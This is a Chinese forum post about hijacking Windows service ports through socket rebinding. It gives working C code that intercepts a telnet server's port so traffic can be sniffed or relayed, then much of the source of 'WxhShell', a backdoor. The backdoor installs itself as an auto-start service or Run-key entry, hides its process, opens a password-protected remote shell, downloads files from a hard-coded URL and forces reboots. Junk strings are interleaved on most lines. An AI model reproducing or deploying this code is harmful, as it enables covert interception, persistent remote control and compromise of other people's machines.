社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19428阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e^WqJ7j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +f]u5p[  
qK-qcPLsl  
  saddr.sin_family = AF_INET; L!vWRwZwC  
W0?JVtq0Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |*1xrM:v~  
%I}'Vb{C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hXTYTbTX  
Om6Mmoqh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 niAZ$w  
WKOI\  
  这意味着什么?意味着可以进行如下的攻击: c/RT0xql*  
RNe9h lr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gym#b{#":  
ZQ|gt*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t%HI1eO7h  
z L8J`W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h[y*CzG  
e# <4/FR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B,MQ.|s[  
P eHW[\)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  +Lhe,  
`GS cRhbh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W1`Dx(g  
:mn(0 R~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pJocI_v9  
PY\W  
  #include T+(M8 qb  
  #include (gD Q\t@3-  
  #include ;t~*F#p(!  
  #include    lJlhl7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $':JI#  
  int main() 6+ ?wnp-  
  { G ~A$jStm  
  WORD wVersionRequested; H7}g!n?  
  DWORD ret; >~^`5a`$uI  
  WSADATA wsaData; T?#s'd  
  BOOL val; nfa_8  
  SOCKADDR_IN saddr; '(TmV#3  
  SOCKADDR_IN scaddr; [\a:4vDAbi  
  int err; cB<O.@  
  SOCKET s; ]2PQ X4t 0  
  SOCKET sc; eX@ v7i,}  
  int caddsize; jQ)L pjS1  
  HANDLE mt; U Q)!|@&  
  DWORD tid;   /Bh>  
  wVersionRequested = MAKEWORD( 2, 2 ); HS(U4   
  err = WSAStartup( wVersionRequested, &wsaData ); F:S"gRKz  
  if ( err != 0 ) { G"{4'LlA  
  printf("error!WSAStartup failed!\n"); \Vz,wy%-  
  return -1; 2'Y{FY_Z  
  } PY2[ S[  
  saddr.sin_family = AF_INET; a^(2q{*  
   n 3h^VQ*]G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {N "*olx  
7MoR9,(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }|SIHz!R  
  saddr.sin_port = htons(23); 6-tiRk~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  w"BIv9N  
  { t@6w$5:}  
  printf("error!socket failed!\n"); C/bxfp{?  
  return -1; B#QL M^  
  } b]"2 VN  
  val = TRUE; k?< i*;7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ma1 (EJ/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eVrnVPkM  
  { }iMXXXBOT  
  printf("error!setsockopt failed!\n"); El{r$-}  
  return -1; xUIvLH=  
  } gt~9"I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e~3]/BL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @`5QG2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |^ ?`Q.|c$  
<>VID E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qg[heND  
  { b$dBV}0 L  
  ret=GetLastError(); 7&h\l6}Yh  
  printf("error!bind failed!\n"); >B`Cch/ 'U  
  return -1; *B %y`cj|  
  } zf`5>h|  
  listen(s,2); ]9#CVv[rq  
  while(1) =Y/}b\9`T  
  { q)NXyy4BT  
  caddsize = sizeof(scaddr); 0T(O'v}.  
  //接受连接请求 E1#H{)G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZTr:xX{R6  
  if(sc!=INVALID_SOCKET) Wa(W&]  
  { ,|6Y\L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S>.q 5  
  if(mt==NULL) qi( &8in  
  { 2=jd;2~  
  printf("Thread Creat Failed!\n"); kZJt ~}  
  break; 43+EX.c  
  } f#*h^91x  
  } f;e_04K  
  CloseHandle(mt); 2j2mW>Z  
  } Ga]47pQ"F  
  closesocket(s); u9esdOv  
  WSACleanup(); `Q:de~+AM{  
  return 0; ~ &t!$  
  }   {k kAqJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) lt }r}HM+  
  { ;+TMx(  
  SOCKET ss = (SOCKET)lpParam; 7ESN!  
  SOCKET sc; &\JK%X.Jlt  
  unsigned char buf[4096]; /TzNdIv  
  SOCKADDR_IN saddr; Q1aHIc  
  long num; 976E3u"Vt  
  DWORD val; KX0<j  
  DWORD ret; AEB/8%l};v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gmXy>{T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vEu Ka<5  
  saddr.sin_family = AF_INET; xylpiSJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [Bl $IfU  
  saddr.sin_port = htons(23); _`TepX R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1, m\Q_  
  { <]Ij(+J;  
  printf("error!socket failed!\n"); FgXu1-  
  return -1; 29&sydu  
  } "2*G$\  
  val = 100; qXXYF>Z-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^`l"'6  
  { { z-5GH|  
  ret = GetLastError(); l\q*%'Pe  
  return -1; s@[C&v  
  } f 1sy9nQs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5oVLv4Z9u  
  { ^>3tYg&7  
  ret = GetLastError(); L4MxU 2  
  return -1; xnJjCEZ  
  } }v_p gatC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) szf"|k!  
  { Zkf 3t>[  
  printf("error!socket connect failed!\n"); 9zXu6<|qrL  
  closesocket(sc); ^</65+OT+  
  closesocket(ss); r~ZS1Tp  
  return -1; mle_*Gy8  
  } r^?)F?n!  
  while(1) aR`_h=a  
  { hB|H9+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (%``EIc<8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  !7 ei1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aK8bKlZe  
  num = recv(ss,buf,4096,0); Mfnlue](  
  if(num>0) ^VSt9 &  
  send(sc,buf,num,0); yw;ghP;  
  else if(num==0) -9=M9}eDF  
  break; l=oN X"l=  
  num = recv(sc,buf,4096,0); {DKXn`V  
  if(num>0) F{#N6,T  
  send(ss,buf,num,0); !yoSMI-  
  else if(num==0) )e4WAlg8c  
  break; 7Vz[ji  
  } l.__10{  
  closesocket(ss); u Y?/B~  
  closesocket(sc); zvek2\*rO  
  return 0 ; Q'n(^tbL  
  } Wl^prs7}c  
oUW )H  
+=|hMQ;  
========================================================== 71oFm1m{  
zjluX\  
下边附上一个代码,,WXhSHELL Z! C`f/h9  
$nUd\B$.=  
========================================================== YQN]x}:E+4  
 l 'AK  
#include "stdafx.h" ( z8]FT  
@-)<|orU4  
#include <stdio.h> P<j4\zJ  
#include <string.h> &{-oA_@  
#include <windows.h> M/::`yJQu  
#include <winsock2.h> ,!o\),N  
#include <winsvc.h> XM$5S+e  
#include <urlmon.h> k| _$R?  
'1>g=Ic0  
#pragma comment (lib, "Ws2_32.lib") =oL8d 6nI  
#pragma comment (lib, "urlmon.lib") 9;E%U2T7  
5}.,"Fbr  
#define MAX_USER   100 // 最大客户端连接数 @ A~B ,  
#define BUF_SOCK   200 // sock buffer /3CHE8nSh  
#define KEY_BUFF   255 // 输入 buffer oso1uAOfp  
jMm_A#V>p  
#define REBOOT     0   // 重启 N<#S3B?.  
#define SHUTDOWN   1   // 关机 ]jVIpGM  
oj,HJH+  
#define DEF_PORT   5000 // 监听端口 SR&(HH$  
#~bU}[{  
#define REG_LEN     16   // 注册表键长度 Zu2m%=J`  
#define SVC_LEN     80   // NT服务名长度 @Og\SZhn  
@{J!6YGh  
// 从dll定义API x&hvFG3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hrd5p+j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); { 4_I7r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d-6sC@PB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,wwU` U  
f7EIDFX>pt  
// wxhshell配置信息 6=Y3(#Ddt  
struct WSCFG { c]AKeq]  
  int ws_port;         // 监听端口 B$}wF<`k7  
  char ws_passstr[REG_LEN]; // 口令 8! |.H p  
  int ws_autoins;       // 安装标记, 1=yes 0=no EmtDrx4!(f  
  char ws_regname[REG_LEN]; // 注册表键名 kcq9p2zKv  
  char ws_svcname[REG_LEN]; // 服务名 >:Rt>po8|w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZYwBw:y}y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %5Q7#xU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f"5lOzj`C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &y#\1K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^]#Ptoz^(l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (uuEjM$3%  
Pi&fwGL  
}; B|]t\(~$ [  
Vze!/ED  
// default Wxhshell configuration %fn'iKCB  
struct WSCFG wscfg={DEF_PORT, kbIY%\QSO  
    "xuhuanlingzhe", JEK%yMj  
    1, >\6jb&,%O  
    "Wxhshell", I,],?DQX2)  
    "Wxhshell", 2- Npw%;  
            "WxhShell Service", j:rs+1bc  
    "Wrsky Windows CmdShell Service", GsP@ B'  
    "Please Input Your Password: ", OBKC$e6I  
  1, vxbH^b  
  "http://www.wrsky.com/wxhshell.exe", C&gOA8nf  
  "Wxhshell.exe" 4*N@=v  
    }; [3{:H"t  
M(.uu`B  
// 消息定义模块 /?.r!Cp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JqVBT+:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _H^^2#wc/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HobGl0<y  
char *msg_ws_ext="\n\rExit."; N[+o[%A  
char *msg_ws_end="\n\rQuit."; |?;"B:0  
char *msg_ws_boot="\n\rReboot..."; ohQz%?r  
char *msg_ws_poff="\n\rShutdown..."; <eud#v  
char *msg_ws_down="\n\rSave to "; Y5h)l<P>B  
vc>^.#7   
char *msg_ws_err="\n\rErr!"; ??$i*  
char *msg_ws_ok="\n\rOK!"; uJ|5 Ve  
a>)_ `m  
char ExeFile[MAX_PATH]; jt'Y(u]2  
int nUser = 0; M/8#&RycQ  
HANDLE handles[MAX_USER]; zCj*:n  
int OsIsNt; =#POMK".6  
d!}jdt5%  
SERVICE_STATUS       serviceStatus; xVHQ[I%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eu}:Wg2  
i h`y0(<  
// 函数声明 ~L \(/[  
int Install(void); !~|"LA!jn  
int Uninstall(void); 9AVK_   
int DownloadFile(char *sURL, SOCKET wsh); JL]k:i^`A  
int Boot(int flag); 7N}\1Di5  
void HideProc(void); 5H'b4Cyi`  
int GetOsVer(void); :uT fhr  
int Wxhshell(SOCKET wsl); T_(e(5  
void TalkWithClient(void *cs); =XRgT1>e  
int CmdShell(SOCKET sock); .^9/ 0.g8t  
int StartFromService(void); XDrlJvrPL  
int StartWxhshell(LPSTR lpCmdLine); /_zF?5h  
Y>dg10=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3-9J "d !  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @ @3)D%h  
D:6x*+jah)  
// 数据结构和表定义 2t]! {L  
SERVICE_TABLE_ENTRY DispatchTable[] = mTXNHvv  
{ \DcC1W  
{wscfg.ws_svcname, NTServiceMain}, ys.!S.k+  
{NULL, NULL} ^)C$8:@  
}; 9sO{1rF  
pxCGE[@`  
// 自我安装 #:ED 0</  
int Install(void) -fSKJo#}|  
{ i/ O,`2  
  char svExeFile[MAX_PATH]; &' Nk2{  
  HKEY key; ++p& x{  
  strcpy(svExeFile,ExeFile); j9L+.UVI,  
C(%5,|6  
// 如果是win9x系统,修改注册表设为自启动 T h- vG  
if(!OsIsNt) { rY_C3;B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a,0o{* (u$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?w5nKpG#RI  
  RegCloseKey(key); 1 Z$99  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z7l;|T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `aWwF} +Y  
  RegCloseKey(key); 2h? r![  
  return 0; ^kR^ QL$  
    } {'wU&!  
  } 1^H<+0  
} ^)0{42!]  
else { d8BK/b  
KJvJUq  
// 如果是NT以上系统,安装为系统服务 -I$txa/"|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q@RY.&mgW  
if (schSCManager!=0) PEQvEruZ}  
{ rbJ)RN^.  
  SC_HANDLE schService = CreateService 5@&i:vs5y  
  ( &<#BsFz  
  schSCManager, Kn9=a-b?,  
  wscfg.ws_svcname, [>]VN)_J5  
  wscfg.ws_svcdisp, u2.r,<rC*Q  
  SERVICE_ALL_ACCESS, ~E6+2t*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Qsg.9N3K  
  SERVICE_AUTO_START, &40JN}  
  SERVICE_ERROR_NORMAL, G'}_ZUy#  
  svExeFile, &LxzAL,3!  
  NULL, U+}9X^  
  NULL, W-ND<=:Up  
  NULL, ,"MUfZ  
  NULL, buM>^A"  
  NULL 3v3Va~fm`  
  ); 2.&V  
  if (schService!=0) 6~Oje>w;  
  { uA}FuOE6  
  CloseServiceHandle(schService); uxJiec`&  
  CloseServiceHandle(schSCManager); [\M?8R$)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ! {o+B^^  
  strcat(svExeFile,wscfg.ws_svcname); AFhG{G'W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ` Ehgn?6'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }Yl8Q>t  
  RegCloseKey(key); b yreleWo  
  return 0; BRok 89  
    } H><mcah  
  } Ky~~Cd$  
  CloseServiceHandle(schSCManager); eEZlVHM;O  
} ]A<u eM  
} 8Carg~T@  
@U.}Ei  
return 1;  F-\8f(\  
} tlxjs]{0E  
kd4*Zab  
// 自我卸载 e =Tc(Mwn  
int Uninstall(void) Q c< O; #  
{ waq_d.  
  HKEY key; iU+,Jeu  
-Aym+N9  
if(!OsIsNt) { 3$G25=eN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2F@<{v4  
  RegDeleteValue(key,wscfg.ws_regname); )xy{[ K|M(  
  RegCloseKey(key); 9l^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M,U=zNPnk  
  RegDeleteValue(key,wscfg.ws_regname); L$?~TY  
  RegCloseKey(key); F4{. 7BT  
  return 0; 9d(v^T  
  } > Vm  
} eS%6 h U b  
} :;u]Y7  
else { UlZ)|Ya<M  
;}9Ws6#XQs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^p%+rB.j[  
if (schSCManager!=0) jP6G.aiO  
{ zyn =Xv@p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B-p5;h>  
  if (schService!=0) w3|.4hS  
  { hfa_M[#Q-  
  if(DeleteService(schService)!=0) { ' g!_Flk  
  CloseServiceHandle(schService); f! Nc+  
  CloseServiceHandle(schSCManager); ;HwJw\fo  
  return 0; T ]nR XW$  
  } Vw@x  
  CloseServiceHandle(schService);  X_S]8Aa  
  } F7u%oLjr  
  CloseServiceHandle(schSCManager); (=B7_jrl  
} %z_b/yG  
} 5*'N Q010  
6 FxndR;  
return 1; KFG^vmrn  
} UdgI<a~`k6  
`l40awGCz  
// 从指定url下载文件 XzFqQ- H  
int DownloadFile(char *sURL, SOCKET wsh) c)~|#v  
{ X \ZUt >  
  HRESULT hr; _^$b$4)  
char seps[]= "/"; 7#*CWh1BNO  
char *token; .ihn@eg  
char *file; I,Y^_(JW  
char myURL[MAX_PATH]; 4tu>~ vOE  
char myFILE[MAX_PATH]; fBh|:2u  
FOyfk$  
strcpy(myURL,sURL); g[)hm`{?  
  token=strtok(myURL,seps); 5W '|qmJ  
  while(token!=NULL) WZ-{K"56  
  { 2*E<G|-F  
    file=token; Z+Zh;Ms  
  token=strtok(NULL,seps); %cjav  
  } .tZ$a_O  
9e*poG  
GetCurrentDirectory(MAX_PATH,myFILE); aV#;o9H{  
strcat(myFILE, "\\"); hpKc_|un  
strcat(myFILE, file); itMc!bUQ  
  send(wsh,myFILE,strlen(myFILE),0); / UBAQ8TR  
send(wsh,"...",3,0); DuZ]g#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \:28z  
  if(hr==S_OK) dL"i\5#%A  
return 0; "2j~3aWj  
else vv_?ip:t  
return 1; *M5C*}dl  
IUG .q8  
} Efd[ZJxS6  
`G{t<7[[;  
// 系统电源模块 HYa!$P3}[  
int Boot(int flag) d u )G)~  
{ ?%n9g)>Yej  
  HANDLE hToken; k(^b  
  TOKEN_PRIVILEGES tkp; ur5n{0#  
+6E<+-N  
  if(OsIsNt) { o?8j *]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .v8=zi:7Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N=x,96CF  
    tkp.PrivilegeCount = 1; N/.9Aj/h~&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GY :IORuA4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~<R~Q:T  
if(flag==REBOOT) { ai2}vR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7nIMIkT:  
  return 0; 6-}9m7#Y  
} -^N '18:  
else { %"B$I>h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ds/zl Z  
  return 0; co-D,o4x  
} :/Zh[Q@EG  
  } -p~B -,  
  else { 0nn# U  
if(flag==REBOOT) { w-/Tb~#E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c3mlO [(  
  return 0; {$.{VE+v5  
} sNTfRPC  
else { Lj\<qF~n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 94/}@<d-=  
  return 0; o4795r,jz  
} <VPtbM@(m  
} 1yf&ck1R  
1Qkuxw  
return 1; 3g?T,| 2K  
} 8ttw!x69)_  
Ric$Xmu  
// win9x进程隐藏模块 h@8  
void HideProc(void) W`kgYGnFG  
{ AS ul  
v]sGdZ(6-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3M`J.>  
  if ( hKernel != NULL ) T[J_/DE@  
  { yK;I<8+>_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X} 8U-N6)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B5S1F4  
    FreeLibrary(hKernel); *n\qV*|6bI  
  } )nVx 2m4  
(~4AG \  
return; =cY]cPO  
} n9ih^H  
a WC sLH  
// 获取操作系统版本 F!'"mU<f  
int GetOsVer(void) mZ%\`H+  
{ SuSZ,>  
  OSVERSIONINFO winfo; d?qz7#kc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XO>Y*7rO  
  GetVersionEx(&winfo); kM@,^`&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P nDZi  
  return 1; P*Nl3?T  
  else %-.GyG$i  
  return 0; "tIx$?I  
} ,'}ZcN2)  
wz57.e!Me=  
// 客户端句柄模块 sy?W\(x  
int Wxhshell(SOCKET wsl) fC[gu$f][  
{ #t*c*o  
  SOCKET wsh; 7t QiKrhp  
  struct sockaddr_in client; LgYzGlJp  
  DWORD myID; P7!Sc  
3m'6cMQ  
  while(nUser<MAX_USER) BDg /pDnwg  
{ G<I5%Yo6G  
  int nSize=sizeof(client); aY~IS?! ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'Z[R*Ikzq  
  if(wsh==INVALID_SOCKET) return 1; dEn hNPeRl  
*BV .zbGm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O)?0G$0  
if(handles[nUser]==0) :A[/;|&  
  closesocket(wsh); 70Am]L&M  
else 9v A`\\9  
  nUser++; 4+0Zj+ q";  
  } fr7/%{s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }9JPSl28Jr  
}HzZj;O^2>  
  return 0; 0ni5:tYy  
} 'AoH2 |  
>=(e}~5y  
// 关闭 socket +oa]v1/W  
void CloseIt(SOCKET wsh) = zSrre  
{ <f%9w]  
closesocket(wsh); zq#o8))4X  
nUser--; 8~bPoWP  
ExitThread(0); U7N<!6  
} HD>{UU?  
utXcfKdt  
// 客户端请求句柄 e:]$UAzp  
void TalkWithClient(void *cs) ;-F#a+2]!  
{ -MZ Eli g  
pJI H_H  
  SOCKET wsh=(SOCKET)cs; RDbA"e5x  
  char pwd[SVC_LEN]; _gHJ4(?w  
  char cmd[KEY_BUFF]; KRQ/wuv  
char chr[1]; |cacMgly  
int i,j; >; Bhl|r~z  
F&\o1g-L  
  while (nUser < MAX_USER) { {XAKf_Cg  
"v06F j>q  
if(wscfg.ws_passstr) { f55Ev<oOa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #'[ f^xgJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q:'(1y~  
  //ZeroMemory(pwd,KEY_BUFF); 6m]L{ buP  
      i=0; 5D#*lMSP"'  
  while(i<SVC_LEN) { Ny#%7%(  
Qj~0vx!  
  // 设置超时 `i}\k  
  fd_set FdRead; Mm5l>D'c  
  struct timeval TimeOut; *VpQ("  
  FD_ZERO(&FdRead); X*sF-T$.  
  FD_SET(wsh,&FdRead); fAK  
  TimeOut.tv_sec=8; ?'%&2M zM  
  TimeOut.tv_usec=0; }5gQZ'ys'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )\e_I\-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ n>0!  
sTb/l!=o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ZsME,  
  pwd=chr[0]; 1_' ZbZv4h  
  if(chr[0]==0xd || chr[0]==0xa) { tnsYY  
  pwd=0; r&qD!l5y  
  break; BBX4^;t  
  } 0Ec -/   
  i++; 9H<:\-:  
    } o8" [6Ys  
c}Qc2D3*  
  // 如果是非法用户,关闭 socket O;XF'r_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Og["X0j  
} uGv+c.~[j  
1+^c3Dd`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mb#)w`<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yv{AoL~  
6l=n&YO  
while(1) { {Hb _o)S  
4]cOTXk9C  
  ZeroMemory(cmd,KEY_BUFF); 3K'3Xp@A  
q/[)mr|~  
      // 自动支持客户端 telnet标准   @cx!m   
  j=0; 6x{B  
  while(j<KEY_BUFF) { aRV<y8{9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1F=x~FMvY  
  cmd[j]=chr[0]; 6};Sn/ 8  
  if(chr[0]==0xa || chr[0]==0xd) { HdGy$m`  
  cmd[j]=0; TiOvrp7B  
  break; 9(C Ke,  
  } -~5yl}  
  j++; xsa* XR  
    } `1P &  
!vsUL-  
  // 下载文件 0ul2rZc  
  if(strstr(cmd,"http://")) { Pvtf_Qo^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ' ft  |  
  if(DownloadFile(cmd,wsh)) >Nov9<p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R(:q^?  
  else )a.U|[:y[+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .8,lhcpY  
  } -Oo$\=d  
  else { <"t >!I  
6S<pWR~  
    switch(cmd[0]) { $FAl9  
  {u:DC4eut  
  // 帮助 _K9jj  
  case '?': { A_[65'*b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =.uE(L`]NA  
    break; ak'RV*>mT  
  } ThHK1{87X}  
  // 安装 M]&9Kg3   
  case 'i': { <mpkkCl,  
    if(Install()) ;xb:{?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EZ$m4: {e  
    else k`N)-`O7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ON$u581 y  
    break; AttDD{Ta  
    } Q%85,L^U  
  // 卸载 lwK Au!l  
  case 'r': { I|p(8 R!  
    if(Uninstall()) $,R|$0B7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mtHw!*  
    else l<gg5 Zea  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * @oAM,@  
    break; < B'BlqTS  
    } $Q ?<']|A  
  // 显示 wxhshell 所在路径 {AB0 PM;-  
  case 'p': { |=SaI%%Be  
    char svExeFile[MAX_PATH]; ua2SW(C@  
    strcpy(svExeFile,"\n\r"); n\d-^ml  
      strcat(svExeFile,ExeFile); Jo2:0<VL  
        send(wsh,svExeFile,strlen(svExeFile),0); s]}P jh8  
    break; fHM<6i<C  
    } )O_Y(^+ $  
  // 重启 :#+VH_%N  
  case 'b': { fSSDOH!U,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W# ev  
    if(Boot(REBOOT)) VPf=LSxJe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HQ]g{JVld\  
